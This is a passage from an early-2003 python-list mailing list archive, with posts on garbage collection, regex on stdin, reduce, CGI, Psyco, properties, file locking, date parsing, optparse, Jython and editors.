>1.5.2, and still a lot in newer versions (although more and more
>objects get exposed in more recent releases).
>
>Regards,
>Martin
>
I can certainly see how such objects could be created as a loop and then
cast off from their root, but I thought that gc would catch these. As
you say it's possible some unsuspected list is growing ever longer.

In fact using python -v I can see that there are (at least) 10 floats
created per page which aren't being removed which suggests something
isn't right. Our C extensions aren't to blame as I can remove them and
still have the same problem.

Using print gc.garbage indicates that I have no finalizer loops so I
guess I need to do the kind of detailed analysis you suggest.
-- 
Robin Becker



From wilk-spamout at flibuste.net  Fri Jan 24 03:54:15 2003
From: wilk-spamout at flibuste.net (William)
Date: 24 Jan 2003 09:54:15 +0100
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com> <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net> <3E301F4A.3060803@nipltd.com> <mailman.1043348009.6299.python-list@python.org>
Message-ID: <87iswfc4i0.fsf@flibuste.net>

mertz at gnosis.cx (David Mertz) writes:

> Chris Keyes <chrisk at nipltd.com> wrote previously:
> |I'm sure IBM do use Python, their guys write articles about it
> 
> I think you probably mean me, and Uche, and Patrick O'Brien, as "their
> guys."  But developerWorks doesn't really have much to do with what IBM
> as a whole does, just what some freelancers want to write about.
> 
> Actually, that's what makes dW such a wonderful site (much better, IMO,
> than the "similar" efforts by other large computer/software companies).
> IBM provides a general resource for developers, not merely a way to
> market/sell some more IBM products.  But heck... just to pitch in:  IBM
> does, indeed, make a number of quite excellent products. :-)
> 
> I'm not saying IBM *doesn't* use Python.  I just don't know, even though
> I am very happy that they pay me money to write articles about it.

Thanks for the precision. And we can hope now that ibm's developper read
yours articles !

-- 
William Dode - http://flibuste.net



From max at alcyone.com  Mon Jan  6 23:18:54 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 06 Jan 2003 20:18:54 -0800
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041399123.31276.python-list@python.org> <v1gdaicshqmr47@corp.supernews.com> <mailman.1041812790.32002.python-list@python.org> <3E18E6F8.8C5BFEEA@alcyone.com> <yyyznqecqch.fsf@adams.patriot.net>
Message-ID: <3E1A552E.176B6FC3@alcyone.com>

Nick Vargish wrote:

> Erik Max Francis <max at alcyone.com> writes:
> 
> > (The object orientation in Perl, ugh.)
> 
> They added object orientation to Perl?
> 
> Nick
> 
> p.s. I'm joking! I know about it, I just refuse to look at it.

Even taken at face value, that jokingly-phrased question really does
just about sum it up.  It is a grotesque and painfully transparent hack.
I know friends that have been introduced to basic object orientation
concepts through Perl, the poor lost souls.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Can I walk with you / Through your life
\__/ India Arie
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From jimmie-dated-1043474834.7879b0 at illumid.com  Mon Jan 20 01:24:24 2003
From: jimmie-dated-1043474834.7879b0 at illumid.com (Jimmie Fulton)
Date: Mon, 20 Jan 2003 00:24:24 -0600
Subject: sys.stdin and re.search
Message-ID: <pan.2003.01.20.06.24.23.588538@illumid.com>

I'm unable to get any matches with re in a loop when the file I'm looping
over is stdin.  When I use open(), it works fine.  Any hints?

Sample Non-working code...
<code>
import re,sys

pattern = re.compile(r"(\b[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\b)")

line = sys.stdin.readline()
while line:
	match = pattern.search(line)
	if match:
		print match.groups()
	line = sys.stdin.readline()
</code>


Sample Working code...
<code>
import re,sys

pattern = re.compile(r"(\b[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\b)")

file = open('myfile','r')

line = file.readline()
while line:
	match = pattern.search(line)
	if match:
		print match.groups()
	line = file.readline()
</code>

Thanks for any advice you can give,

Jimmie Fulton



From urba0083 at tc.umn.edu  Sun Jan 12 13:47:44 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Sun, 12 Jan 2003 12:47:44 -0600
Subject: Python for CGI is dead?
References: <cb035744.0301120614.3b19d223@posting.google.com>
Message-ID: <3E21B850.9020304@tc.umn.edu>

I would argue that CGI itself is dead. Or at least it should be. It's
an outdated technology that is a huge performance hit on the server.

However, mod_python is very much alive (embed Python interpretor into
Apache to avoid starting a new copy of the interpretor each time
the script it run).

You might also want to look into Webware. I've played with it a bit
and have been quite impressed. Webware is basically a Python
application server similar to a Java application server except
it uses Python. Like a JAS, Webware lets you use PSP, (embed
Python inside HTML), and also Python servlets.

More info here:

http://webware.sourceforge.net


Will Stuyvesant wrote:
> I am spending rather much time trying to build a project using CGI
> scripts written in Python.  But am I wasting my time?  I could not
> find much Python hosting, and none free (except a french one that I
> can not register into) for Python CGI scripts!




From max at alcyone.com  Wed Jan 22 00:48:16 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 21 Jan 2003 21:48:16 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net> <eppstein-08A6D5.21221021012003@news.service.uci.edu>
Message-ID: <3E2E30A0.B1A3EA33@alcyone.com>

David Eppstein wrote:

> What I wonder is, why supply the final argument to reduce at all?
> Without the argument, it will work with non-numeric tuple values.
> With the argument, the values have to be comparable to floats.

The final argument would only be necessary in the edge case where the
list of tuples is empty:

>>> reduce(max, [3, 4, 5, 2])
5
>>> reduce(max, [3])
3
>>> reduce(max, [])
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: reduce() of empty sequence with no initial value

Certainly that can be handled as a special case and reduce would simply
not be needed to be called in the first place.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I love Mickey Mouse more than any woman I've ever known.
\__/ Walt Disney
    HardScience.info / http://www.hardscience.info/
 The best hard science Web sites that the Web has to offer.



From max at alcyone.com  Thu Jan 30 21:27:00 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 18:27:00 -0800
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
Message-ID: <3E39DEF4.85C2B2D4@alcyone.com>

Dale Strickland-Clark wrote:

> In other words, I want to be able to treat an argument of arbitrary
> type as a list of 1 if it isn't already a list.
> 
> Has anyone got a neater way of doing this?

Unfortunately, this technique excludes things that have sequences
interfaces but aren't literally lists or tuples.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The only way to get rid of a temptation is to yield to it.
\__/ Oscar Wilde
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From andrew at indranet.co.nz  Tue Jan 14 21:33:35 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Wed, 15 Jan 2003 15:33:35 +1300
Subject: [ann] Minimal Python project
In-Reply-To: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C77@MAYOR.retzlaff.com>
References: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C77@MAYOR.retzlaff.com>
Message-ID: <411640000.1042598015@localhost.localdomain>


--On Tuesday, January 14, 2003 15:24:17 -0800 Jimmy Retzlaff 
<jimmy at retzlaff.com> wrote:

> Skip Montanaro wrote:
>>   Jimmy> Psyco created two specialized versions of my function - one
> for
>>   Jimmy> use with integers and another for use with floating point
>>   Jimmy> numbers.
>>
>> Which, depending on the particular computation, might differ
> semantically
>> from one another, what with floating point inaccuracies and all.
>> ...
>
> Isn't this issue inherent in Python and not introduced by Psyco? I was
> actually calling the function in question with objects of type int in
> some cases and with objects of type float in other cases. Hence the
> potential differences were already there before Psyco (but not an issue
> in my particular case). I don't think Psyco changed the situation.
>
> My C version did have potential semantic differences from the Python
> version in that parameters to it were always coerced to doubles. Hence
> any distinctive int parameter behavior was lost (again not an issue in
> my particular case).
>
> Now if Psyco were so aggressive as to look at parameter values and
> decide that, for example, 17.0 could be treated as an object of type
> int, then there indeed could be serious issues. This would be especially
> true if uses of the operator / were present without "from __future__
> import division" or if magnitudes were large enough to induce any
> overflow behavior. I don't see any other issues off the top of my head,
> but I'm certainly not an expert on the intricacies of binary floating
> point.
>
> Jimmy

Basically, if it ever matters about things like arithmetic precision, you 
coerce things to the right type and make sure of it, in any language.  It 
is nice not to have to write multiple versions of the code if there is need 
to handle several kinds of numbers, though.

Andrew




From andrea_galimberti at tin.it  Wed Jan 29 03:12:54 2003
From: andrea_galimberti at tin.it (Andrea Galimberti)
Date: Wed, 29 Jan 2003 09:12:54 +0100
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz>
Message-ID: <3E378D06.3010406@tin.it>

Aum wrote:
 >
> But some have complained of Leo's relatively slow performance and modest 
> editing features, especially compared with the 2 'official' hacker editors, 
> vim and emacs, which has slowed its uptake somewhat. Uptake has also been 
> slowed IMO by conceptual inertia, with people reluctant to step into a 
> radically new paradigm, after years in the vim/emacs 'religions'.
> 

Leo is really a cool editor, but it lacks all the vim key bindings 
(sorry, I'm part of the 'vim religion'). Is there a way to do with vim 
the same thing you did with xemacs?
Maybe you can give me some hints about your code and I'll try to hack 
the Leo code to link it to vim.

\bye, Andrea




From zope at thewebsons.com  Tue Jan  7 21:59:11 2003
From: zope at thewebsons.com (beno)
Date: Tue, 07 Jan 2003 22:59:11 -0400
Subject: Functional Programming: WAS: Too Self Centered
In-Reply-To: <5qum1vkqcohuitlsh44h993r365k85q380@4ax.com>
References: <mailman.1041984834.14592.python-list@python.org>
Message-ID: <5.1.0.14.0.20030107224809.01f92ad8@mail.thewebsons.com>

At 01:55 AM 1/8/2003 +0000, you wrote:
>Python is very "self" centered! :-)
>
>Your code is correct, and typical of Python.  Python programmers type
>"self" a lot.  It is commonly complained about, but after programming
>in Python for a while, now I prefer it.
>
>You are not required to read "Style Guide for Python Code; PEP8", but
>it is highly recommended:
>
>http://www.python.org/peps/pep-0008.html

Will do.


>You can get rid of some "self"s by using
>"x += 1" instead of "x = x + 1"
>You use "+=" inconsistently.

Right.


>Indent more than 1 space, Python uses indentation exclusively to
>specify code blocks, so it helps to be able to see indents clearer.
>Most people use 4 spaces.  Any coder's text editor will make this easy
>for you.

Two comments on that. Will do.


>Your program will blow up reading a large file because of your
>recursive use of "subsequentRead(self)" and "subsequentLines(self)".
>The form of recursion you are using is called "tail-recursion".
>Python does not optimize tail-recursion.  Outside of the LISP world,
>tail-recursion is not used (and rarely optimized).  A "while" loop
>would be better.

Hmmm. I'm really sold on the philosophical merits of *Functional 
Programming*.  But I appreciate any feedback you have concerning 
optimization here. I need to stick with Python because I'm addicted to Zope ;)


>Instead of "maketrans" and "translate", just use "replace".

Thank you :))


>I have no idea what your code is supposed to do, I will guess you wish
>to count how many lines in a file, and then turn the newlines into
>spaces to turn the multiline file into one long string.

I'm preparing a Zope product. I've long wanted a script that could receive 
input from a text file and convert it to a select/options drop-down box 
that a visitor could click revealing the testimonial like this:

<select>
<option>See what John Doe has to say!</option>
  <option>&#xa0;</option>
  <option>This is my testimonial. Aint</option>
  <option>it cool. I just think you're</option>
  <option>the best thing since sliced</option>
  <option>bread. Love ya! Line 3 </option>
  <option>&#xa0;</option>
  <option>John Doe  </option>
</select>

My background is marketing and this can be used everywhere without taking 
up much screen space (real estate). It's a brilliant marketing move I 
scooped from site-sell.com years ago. This product will go inside another 
product called *Easy Site* that people new to Zope can use to easily 
template complex sites for *brochureware*: just the kind of thing I would 
have liked two years ago.

Thanks for the code sample below. I'll rewrite :))
beno






From clifford.wells at attbi.com  Sat Jan  4 14:53:06 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 04 Jan 2003 11:53:06 -0800
Subject: new years resolutions
In-Reply-To: <200301041905.h04J5njL016319@ratthing-b246.strakt.com>
References: <mailman.1041550805.3550.python-list@python.org>
	 <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com>
	 <mailman.1041641110.13072.python-list@python.org>
	 <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk>
	 <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03>
	 <200301041905.h04J5njL016319@ratthing-b246.strakt.com>
Message-ID: <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03>

On Sat, 2003-01-04 at 11:05, Laura Creighton wrote:
> <snip>
> 
> > Ah, but you are equating "computer background" with "CS background"
> > which ignores a large segment of knowledgeable people.  There is a guy
> > at my work who built a serial IO card using nothing but a pen plotter to
> > etch the circuit board, a small processor (and a couple of support
> > chips) and his own custom firmware.  I doubt many CS majors could do the
> > same, yet they would somehow exclude his POV in favor of their own,
> > despite the fact that their entire world ceases to exist without people
> > like him.  Ask yourself, is computing about software, or about
> > hardware?  Obviously both, but I can assure you that hardware without
> > software is far more useful than the reverse <wink>.
> > 
> > -- 
> > Cliff Wells <clifford.wells at attbi.com>
> 
> I don't think that dividing 'csc == software' and 'engineering ==
> hardware' is the best possible way to distinguish between them.  A

Well, clearly the world can be divided in any two ways an argument
requires.  I usually divide it into "people who agree with me" and
"people who are wrong".  It makes my position so much more defensible ;)
As an aside, you personally usually get lumped with the latter, unless
you happen to agree with me, in which case you're the best <wink>. 
Anyway, my rather arbitrary division (perhaps mis-equated) was useful
for making a particular point.

> more useful question, I believe, is 'do you hunger to build things, or
> just to think about them'?  (Some people do both about equally, of
> course.)  The distinction is important for people who are considering
> getting a degree in computer science.  Some of them do quite badly at
> it because what they want is a degree that will help them build the
> programs they dream of creating, and instead they are persuing a
> degree that will help them think about thoughts they have no interest
> in thinking. This is a very bad fit.

Unless what you want to build is a compiler or operating system in which
case CS becomes indispensable (and then welcome to the harsh world of
engineering ;).  I think this situation is best approached by learning
to program, *then* learning the theory.  When you've had some real-world
experience building software, it suddenly becomes easy to see how much
apparently esoteric CS can be applied to real problems.

> proto-Scientists who mistakenly head for the Engineering, or
> Engineering-Science departments tend to do much better.  They become
> Engineering professors. This is not necessarily good for the
> Engineering professions -- graduate engineers in all fields generally
> spend their first few professional years discovering they have studied
> way too much theory, and not enough 'how to recognise a really bad
> engineering design based on the practical experience we have in
> building things'.  By the time they have learned that, they have mostly
> forgotten the theory that was crammed into them at university ...


>From my own experience, it isn't so cut-and-dried as far as type of
personality.  I tend to dislike applied mathematics (preferring pure
theory), but get bored by CS theory, preferring actual applications.  

But then I spend all day on the 'net and don't get anything done anyway
;)


"The world is divided into two kinds of people: Those who divide the
world into two kinds of people, and those who don't."
    Robert Benchley


-- 
Cliff Wells <clifford.wells at attbi.com>





From andrew at indranet.co.nz  Mon Jan 13 15:34:43 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 14 Jan 2003 09:34:43 +1300
Subject: RH8.0, gfax, python
In-Reply-To: <PZEU9.509$Pw.315@news1.central.cox.net>
References: <PZEU9.509$Pw.315@news1.central.cox.net>
Message-ID: <131870000.1042490083@localhost.localdomain>

Find and install gnome-python2*.rpm from your distro and you should be 
right.

Andrew

--On Monday, January 13, 2003 20:05:03 +0000 Kelv <ah at well.ysee> wrote:

> Hi,
>
> I have been attempting to install a program called gfax on RedHat Linux
> 8.0. gfax is written in Python.
>
> As far as I can see I have a working pygtk 2.0 (1.99.12) and
> gnome-python, as they came installed with the distro.
>
> However when run, gfax fails with the following...
>
> Traceback (most recent call last):
>    File "/usr/bin/gfax", line 33, in ?
>      from prefs import *
>    File "/usr/lib/gfax/prefs.py", line 23, in ?
>      from gnome.config import *
> ImportError: No module named config
>
> I tried an example program that also has...
>
> from gnome.config import *
>
> ... in it, and that fails too, with the same error.
>
> Can anyone help. I know nothing about Python but can follow precise
> instructions if given.
>
> Kelv
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From peter at engcorp.com  Fri Jan 17 14:20:49 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 17 Jan 2003 14:20:49 -0500
Subject: The benefit of properties (was Re: PEP 8: on member variables vs. 
 attributes)
References: <f57664b9.0301170041.46cc103e@posting.google.com> <v2fuopd3ui6o48@news.supernews.com> <3E280FE3.EB4033F@engcorp.com> <mailman.1042815692.24240.python-list@python.org> <b09fsk$1dbe$1@nntp6.u.washington.edu>
Message-ID: <3E285791.7A9F11F6@engcorp.com>

Donn Cave wrote:
> 
> In my world, everyone who deals with code is eventually liable to care
> how it works.  Especially with regard to state changes or side effects.
> Not so much because we're itching to exploit this knowledge for evil
> violations of one kind or another, more because it's eventually the only
> way to understand why it works the way it does.  (Note ``eventually'',
> I'm speaking of a last resort but a common one.)  We can't afford to
> make code opaque to anyone.

One of the programmers, whom I respected very much on the project I 
mentioned, was quite of the opposite view to mine.  He kept insisting
that one shouldn't *want* to know what a given property does.  He
used the example of a library package, where "clearly" I shouldn't
have to know about all the nitty-gritty details that go on under
the hood.

In the end, we found agreement based on one point: so long as one
cannot *trust* that the library is *bomb-proof, bug-free, fully 
documented code*, there's a good chance one needs to know what is 
going on underneath, especially to work around problems or even
just to figure out how to use the library.

I was of the opinion that we were not using, or creating, such
a library, and that therefore we had to insist on very limited
use of properties.

I guess I'm saying that the principle is sound, but practically I
have yet to see a situation where it would work for me.

-Peter



From robin at jessikat.fsnet.co.uk  Tue Jan 14 14:39:46 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 14 Jan 2003 19:39:46 +0000
Subject: flock experience
References: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>
 <20030114141533.5d324d3a.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <MS0CTJACeGJ+EwpS@jessikat.demon.co.uk>

In article <20030114141533.5d324d3a.pythonhda at yahoo.com.replacepythonwit
hlinux>, pythonhda <pythonhda at yahoo.com.replacepythonwithlinux> writes
>If you're on a *nix system, do you have access to syslogd?
>It's not hard to create a log file just for your program and python has a module 
>(syslog) for it.
>
.....I'm sure I can put stuff into syslog, but I doubt the sys admins
will give us a category for our output. A vague memory suggests that
logs are single line only, so I'd need to massage the current entries.

I'd like to thank everybody who answered here and by email.

There seem to be several common responses

Worry about NFS mounted filesystems
Use a daemon, preferably syslog
Use a database approach.
Use portalocker
Use separate logfiles
-- 
Robin Becker



From p-abel at t-online.de  Fri Jan 17 03:01:04 2003
From: p-abel at t-online.de (Peter Abel)
Date: 17 Jan 2003 00:01:04 -0800
Subject: String Problem, What is it I don't understand?
References: <mailman.1042744894.21019.python-list@python.org>
Message-ID: <13a533e8.0301170001.c1863ee@posting.google.com>

"Mark McEahern" <marklists at mceahern.com> wrote in message news:<mailman.1042744894.21019.python-list at python.org>...
> > I would expect to get the month day and year from the following, but
> > day and year are null
> >
> > xxx = "01/17/03"
> > month = xxx[0:2]
> > print "month=",month
> > day = xxx[3:2]
> > print "day=",day
> > year = xxx[6:2]
> > print "year=",year
> 
> 1.  Look into slicing.
> 
>     >>> d = '01/02/2003'
>     >>> d[0:2]
>  '01'
>     >>> d[3:5]
>  '02'
>     >>> d[6:]
>     '2003'
> 
> 2.  There are better ways to parse date strings into dates.  On Linux, the
> time module has a strptime function.  Otherwise, you can use mx.DateTime (a
> third party package, search for it on google).
> 
> // m
> 
> -

I would try it with re, which comes on board with python:
So you can have your date in a string with other information in
various formats.

>>> import re
>>> d = 'you can write dates in various ways: e.g. 01/02/2003 or
01-1-2003 or even 1/2/20003 or ugly 1 2 2003'
>>> print re.findall(r'(\d+)[-/\s](\d+)[-/\s](\d+)',d)
[('01', '02', '2003'), ('01', '1', '2003'), ('1', '2', '20003'), ('1',
'2', '2003')]
>>> # if you need a special formatting do this
>>> map(lambda (m,d,y):'%02d,%02d,%4d'%(int(m),int(d),int(y)),re.findall(r'(\d+)[-/\s](\d+)[-/\s](\d+)',d))
['01,02,2003', '01,01,2003', '01,02,20003', '01,02,2003']
>>> # And if you need integers try the following
>>> map(lambda (m,d,y):(int(m),int(d),int(y)),re.findall(r'(\d+)[-/\s](\d+)[-/\s](\d+)',d))
[(1, 2, 2003), (1, 1, 2003), (1, 2, 20003), (1, 2, 2003)]
>>>

Regards,
Peter



From max at alcyone.com  Thu Jan 30 23:44:10 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 20:44:10 -0800
Subject: How do you know if you're out of memory?
References: <3E39FB57.6070301@email.com>
Message-ID: <3E39FF1A.31FE9CF2@alcyone.com>

"R. C. Ellis" wrote:

> Anyway, how do I know if a new Tkinter widget I create has enough
> memory
> to instantiate?  I'd rather catch an exception or something, rather
> than
>   gift my user with a wonderful interpreter message.

There's a MemoryError which gets thrown for this purpose.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The great artist is the simplifier.
\__/ Henri Amiel
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From danb_83 at yahoo.com  Fri Jan 17 11:11:32 2003
From: danb_83 at yahoo.com (Dan Bishop)
Date: 17 Jan 2003 08:11:32 -0800
Subject: Convert seconds in minutes, hours, days, years ...
References: <399d6c30.0301160510.38703bfe@posting.google.com> <b06dll$kim$1@terra.news.tehnicom.net> <399d6c30.0301170024.8142cbf@posting.google.com>
Message-ID: <ad052e5c.0301170811.5bcfed7f@posting.google.com>

Loko at caramail.com (Loko) wrote in message news:<399d6c30.0301170024.8142cbf at posting.google.com>...

> This is not exactly what I wanted,I want integers. Thus I wrote : 
> 
>    def Fract_Sec(s):
>        temp = float()
>        temp = float(s) / (60*60*24)
>        d    = int(temp)
>        temp = (temp - d) * 24
>        h = int(temp)
>        temp = (temp - h) * 60
>        m = int(temp)
>        temp = (temp - m) * 60
>        sec = temp
>        return d,h,m,sec
>    #endef Fract_Sec

This could be simplified my using the divmod function.

def fractSec(s):
   years, s = divmod(s, 31556952)
   min, s = divmod(s, 60)
   h, min = divmod(min, 60)
   d, h = divmod(h, 24)
   return years, d, h, min, s



From goodger at python.org  Thu Jan 23 09:17:32 2003
From: goodger at python.org (David Goodger)
Date: Thu, 23 Jan 2003 14:17:32 GMT
Subject: Interleaved commands and options with optparse?
In-Reply-To: <slrnb2uphm.d9h.mlh@furu.idi.ntnu.no>
References: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>  <BA54C839.2F3FE%goodger@python.org>  <slrnb2upbe.d9h.mlh@furu.idi.ntnu.no> <slrnb2uphm.d9h.mlh@furu.idi.ntnu.no>
Message-ID: <BA556470.2F442%goodger@python.org>

Magnus Lie Hetland wrote:
> In article <slrnb2upbe.d9h.mlh at furu.idi.ntnu.no>, Magnus Lie Hetland wrote:
> [snip]
>> Indeed. Quite useful. This really ought to be in the docs.

Doc patches would be welcome I'm sure (see below).

> And while I'm at it -- it ought to be an argument to the constructor,
> just like, for example, parser.usage (and most of the other
> attributes, it seems).
> 
> Anyone think that submitting a patch for this would be a bad idea?

Not at all -- potentially quite a good idea.  Best to discuss it on the
optik-users at lists.sf.net list, and patches to the http://optik.sf.net
project.  The Python stdlib "optparse" module is directly and automatically
derived from the Optik code.

-- 
David Goodger    http://starship.python.net/~goodger    Projects:
  * Python Docutils: http://docutils.sourceforge.net/
    (includes reStructuredText: http://docutils.sf.net/rst.html)
  * The Go Tools Project: http://gotools.sourceforge.net/




From spam at magnetic-ink.dk  Tue Jan 28 14:08:26 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Tue, 28 Jan 2003 19:08:26 +0000 (UTC)
Subject: python weblog apps?
References: <mailman.1043712589.29180.python-list@python.org>
Message-ID: <0db0c51b-a544-4137-a111-160834f66e35@news.szn.dk>

Chris Miles wrote:

> I am after a simple weblog for a project, and I see
> a number of php weblog apps around, but have not
> found a Python-based one.

The SilvaNews? extension to Silva? could make a fairly decent
weblog with a builtin search engine.  Requires Zope?.


  // Klaus

 ?) http://www.zope.org/Members/guido_w/SilvaNews
 ?) http://www.zope.org/Members/faassen/Silva
 ?) http://www.zope.org/
-- 
 ><> 	vandag, m?re, altyd saam



From simonb at webone.com.au  Fri Jan  3 08:48:59 2003
From: simonb at webone.com.au (Simon Burton)
Date: Sat, 04 Jan 2003 00:48:59 +1100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com>
Message-ID: <pan.2003.01.03.13.48.50.113237@webone.com.au>

On Fri, 03 Jan 2003 02:49:31 +0000, Erik Max Francis wrote:

> Paddy wrote:
> 
>> Others are comfortable with emacs, another non-simple editor that
>> repays the initial
>> steeper learning curve by giving a rich environment. ( I hope I've
>> succeeded in mentioning
>> emacs without playing it down - I don't want to continue that war :-).
> 
> I also don't want to get into a vi vs. emacs war, but how does emacs
> have a steeper learning curve, at least for just basic text editing
> usage (creating files, opening files, editing files, saving files,
> quitting)?  On the contrary, I think to a total neophyte vi is a lot
> more intimidating:  You can't even start entering text unless you enter
> a code first.  Modern graphical versions of emacs start you in a scratch
> space and have menu bars that all you to open files, close files, exit
> the editor, etc.
> 

I think he meant in comparison to your average point and click editor.

bye,
Simon Burton.



From ykingma at accessforall.nl  Fri Jan 10 16:25:53 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Fri, 10 Jan 2003 22:25:53 +0100
Subject: Using JAR File distributions in Jython
References: <e8246d60.0301091600.32edbeb0@posting.google.com>
Message-ID: <3e1f3ed5$0$75609$e4fe514c@dreader3.news.xs4all.nl>

VLP wrote:

> I have an API distributed in JAR form, that is currently being used by
> some Java programs. I would like to use this API from Jython. I read
> in an earlier post, that I must set CLASSPATH to include the JAR file
> itself, not just the directory it is in, so I did accordingly. This
> seems to have some effect, as the next time Jython started up, it
> recognized the JAR file, and did some processing (notably adding it to
> the cachedir package cache, and changing package.idx)

When jython does not repeat such indexing the next time you call jython
with the jar on the class path you have the expected behaviour.
 
> However, I still cannot "import" any classes from the JAR file. I
> tried following forms:
> 
> import com.company.product.api.class
> and
> from com.company.product.api import class
> and
> from com.company.product.api import *
> 
> I get the error:  No module named company

You might try this interactively:

Jython 2.1 on java1.3.1_04 (JIT: null)
Type "copyright", "credits" or "license" for more information.
>>> import com
>>> dir(com)
['__name__', 'sun', 'ziclix']

to see what things are available in com. In this case there
is nothing but the minimum on the class path (jython.jar).
When there is a package com.company in a jar on the class path
you should also see company mentioned.
Note that 'company' should be a public java package.
When it's not public you can tell jython to access it as if
it were public (using a jython registry option) 
but that's not recommended.

> The JAR file is called productapi.jar and was created using JDK
> 1.3.1_06. I am using the same version of JDK to run Jython. I am using
> Jython 2.1
> 
> Can someone point out what I am doing wrong here, and how I can get
> this to work? This is extremely important, as without this, I will be
> unable to replace Java with Jython in this project...which is a
> tragedy, because Java is so much more painful to work with!

You seem to be doing it right.

Typing this to jython might help:
import java
java.lang.System.getProperties()['java.class.path']

Good luck,
Ype




From peter at engcorp.com  Thu Jan 30 11:20:21 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 30 Jan 2003 11:20:21 -0500
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <3E3946D0.11555AE6@engcorp.com> <k9ii3vksqnqk84sui2a312r2239c5fjpd2@4ax.com>
Message-ID: <3E3950C5.611B8479@engcorp.com>

Dale Strickland-Clark wrote:
> 
> Peter Hansen <peter at engcorp.com> wrote:
> 
> >This is probably a better approach in several ways:
> >
> >def ensureList(thing):
> >  try:
> >    return list(thing)
> >  except TypeError:
> >    return [thing]
> >
> >
> >-Peter
> 
> Except it doesn't work :-)
> 
> >>> list('abc')
> ['a', 'b', 'c']

Of course it does that.  A string is a sequence.  So is
a tuple.  The OP didn't specify what behaviour he wanted
in this case, so "it works" until he clarifies his 
requirements.  :-)

(Your example showed tuples and lists being treated as lists,
but your "in other words" description said "if it isn't already
a list", and that comment includes strings as much as it does
tuples.)

-Peter



From CousinStanley at HotMail.com  Thu Jan 30 13:58:06 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Thu, 30 Jan 2003 11:58:06 -0700
Subject: traditional tk inter problem
References: <d232c5e.0301291047.774dbf67@posting.google.com> <cb035744.0301291532.4ac5c1a2@posting.google.com>
Message-ID: <b1bsgj$114eth$1@ID-130333.news.dfncis.de>

|| [Chris Lyon] ...
|| and all I really want to do it plot a graph in a webpage ...

Several months ago I ran across some JavaScript examples
for plotting simple functions on a web page that use methods
that are similar to the one posted by Will Stuyvesant ...

http://fastq.com/~sckitching/JS/Parabola.htm

http://fastq.com/~sckitching/JS/DD_Circles.htm
{ animated }

http://fastq.com/~sckitching/JS/Circle_MH.htm

These produce fairly nice plots,
but the rendering is somewhat  S L O W
in the browser ...

The JavaScript code seems straightforward
and probably could be converted to Python
without too much effort, although the animated
script, DD_Circles.htm, originally from DynamicDuo
might be a bit more of a challenge, but should also
be easy to convert ...

All 3 of the above scripts work in IE6,
but only  Circle_MH.htm  seems to work
in  BOTH  IE  and  Mozilla 0.95  with the later
rendering the plot in about 50 seconds
and the former just slightly quicker
on the slow 250 MHz machine that I use ...

Since Cousin Will's Python script generates
a nice sine wave in about 2 seconds clock time,
I would guess that the Python versions
of the examples above would also run much quicker ???

Cousin Stanley





From phr-n2003b at NOSPAMnightsong.com  Sat Jan 18 02:26:13 2003
